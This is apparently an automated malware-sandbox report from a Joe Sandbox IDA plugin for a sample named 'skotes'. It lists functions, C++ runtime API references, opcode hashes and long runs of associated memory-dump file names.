Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 8fc2912edb75a9ca5269a2f7961c0e49f3cc19bd2eeb896576b7bc264343879b
Instruction ID: ae646d01184b67b6d71a844f73a375299c7cfceb355581384265f298a5f419d7
Opcode Fuzzy Hash: 8fc2912edb75a9ca5269a2f7961c0e49f3cc19bd2eeb896576b7bc264343879b
Instruction Fuzzy Hash: DE01F560985319EDF710B7B25C01BAB35CCEF41B0CF62782AA550F62D5FF25D801A666

Function 00ED6E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00ED6E73

Part of subcall function 00ED4E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00ED4E7F
Part of subcall function 00ED4E6E: List.LIBCMT ref: 00ED4E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00ED6E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00ED6EAA

Strings

eventObject, xrefs: 00ED6E7D

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 5d4c722bfb707a3582e1d98ad4e12ea0d12aa403794e2976c44d1eca55c1b281
Instruction ID: 11f7ff0e9364d5924a9298c2e947c9b2a3ef0d21286cc74966b1c995b2578f0c
Opcode Fuzzy Hash: 5d4c722bfb707a3582e1d98ad4e12ea0d12aa403794e2976c44d1eca55c1b281
Instruction Fuzzy Hash: A6112535540218E7DB24FBA4CD46FEF33A8AF00308F20655AB915BA1C1DB70AA05DA65

Function 00EDA0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 00EDA102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 00EDA126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00EDA139

Strings

pScheduler, xrefs: 00EDA131

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 4b9209c74b6b4eabf5998b9e2be51f162534d56481a524ffc5182c9f2dd10843
Instruction ID: 7e57f2ee893f5453f6ce5383b13e8ed1319af9d706d6e3fb1cabc50ca115f007
Opcode Fuzzy Hash: 4b9209c74b6b4eabf5998b9e2be51f162534d56481a524ffc5182c9f2dd10843
Instruction Fuzzy Hash: 2EF0B475901608E7C720FA54DC42C9EB3A8DE90714B28952FE41677281DB70AF07C692

Function 00EE504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00EE5115
___AdjustPointer.LIBCMT ref: 00EE5138
___AdjustPointer.LIBCMT ref: 00EE51D4

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: c8fbc654a122117af9dd4d973fc2df9c387784b665ed72c53457eab59efb4742
Instruction ID: 4cde3531629c24a83ac42fa0d464ed50ff008bb59a36030b66f54c6164b5fdc9
Opcode Fuzzy Hash: c8fbc654a122117af9dd4d973fc2df9c387784b665ed72c53457eab59efb4742
Instruction Fuzzy Hash: 30511473602E8EAFDB288F16D841BBA73B5EF14308F14512DE805A72A1E771ED40DB90

Function 00EE4C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00EE4C66
TypeidsEqual.LIBVCRUNTIME ref: 00EE4C8B
PMDtoOffset.LIBCMT ref: 00EE4CA1
PMDtoOffset.LIBCMT ref: 00EE4D22

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: 78ab600ef8bd3a3cbb4f9ab73bf5c4adc5fcbd039b15cba8f85d5ea879f754e5
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: C15178B5A0428D9FDF11CFAAC8806EEBBF4EF15358F14549AE850B7391D332AA05CB50

Function 00EDDB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00EDDB64

Part of subcall function 00ED8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00ED8F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00EDDBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 00EDDBE9
Concurrency::location::_Assign.LIBCMT ref: 00EDDC56

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
